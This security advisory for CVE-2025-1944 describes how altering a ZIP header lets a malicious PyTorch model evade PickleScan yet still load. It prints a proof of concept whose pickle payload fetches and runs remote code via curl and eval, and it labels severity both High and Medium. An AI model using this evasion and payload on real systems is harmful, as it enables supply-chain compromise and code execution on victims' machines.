CVE-2025-1944

PickleScan is vulnerable to a ZIP archive manipulation attack that causes it to crash when attempting to extract and scan PyTorch model archives. By modifying the filename in the ZIP header while keeping the original filename in the directory listing, an attacker can make PickleScan raise a BadZipFile error. However, PyTorch's more forgiving ZIP implementation still allows the model to be loaded, enabling malicious payloads to bypass detection.

Details

Python's built-in zipfile module performs strict integrity checks when extracting ZIP files. If a filename stored in the ZIP header does not match the filename in the directory listing, zipfile.ZipFile.open() raises a BadZipFile error. PickleScan relies on zipfile to extract and inspect the contents of PyTorch model archives, making it susceptible to this manipulation.

PyTorch, on the other hand, has a more tolerant ZIP handling mechanism that ignores these discrepancies, allowing the model to load even when PickleScan fails. An attacker can exploit this behavior to embed a malicious pickle file inside a model archive, which PyTorch will load, while preventing PickleScan from scanning the archive.

PoC

import os
import torch

class RemoteCodeExecution:
    def __reduce__(self):
        return os.system, (f"eval \"$(curl -s http://localhost:8080)\"",)


model = RemoteCodeExecution()
file = "does_not_scan_but_opens_in_torch.pth"
torch.save(model, file)

# modify the header to cause the zip file to raise execution in picklescan
with open(file, "rb") as f:
    data = f.read()

# Replace only the first occurrence of "data.pkl" with "datap.kl"
modified_data = data.replace(b"data.pkl", b"datap.kl", 1)

# Write back the modified content
with open(file, "wb") as f:
    f.write(modified_data)

# Load the infected model
torch.load(file)  

Severity: High

• Who is impacted? Any organization or individual using PickleScan to detect malicious pickle files in PyTorch models.

• What is the impact? Attackers can embed malicious payloads inside PyTorch model archives while preventing PickleScan from scanning them.

• Potential Exploits: This technique can be used in supply chain attacks to distribute backdoored models via platforms like Hugging Face.

Recommendations

• Use a More Tolerant ZIP Parser: PickleScan should handle minor ZIP header inconsistencies more gracefully instead of failing outright.

• Detect Malformed ZIPs: Instead of crashing, PickleScan should log warnings and attempt to extract valid files.

CVE-2025-1944 has a CVSS score of 6.5 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.23); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-1944? CVE-2025-1944 is a medium-severity security vulnerability in picklescan (pip), affecting versions < 0.0.23. It is fixed in 0.0.23.
2. How severe is CVE-2025-1944? CVE-2025-1944 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of picklescan are affected by CVE-2025-1944? picklescan (pip) versions < 0.0.23 is affected.
4. Is there a fix for CVE-2025-1944? Yes. CVE-2025-1944 is fixed in 0.0.23. Upgrade to this version or later.
5. Is CVE-2025-1944 exploitable, and should I be worried? Whether CVE-2025-1944 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-1944 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-1944? Upgrade picklescan to 0.0.23 or later.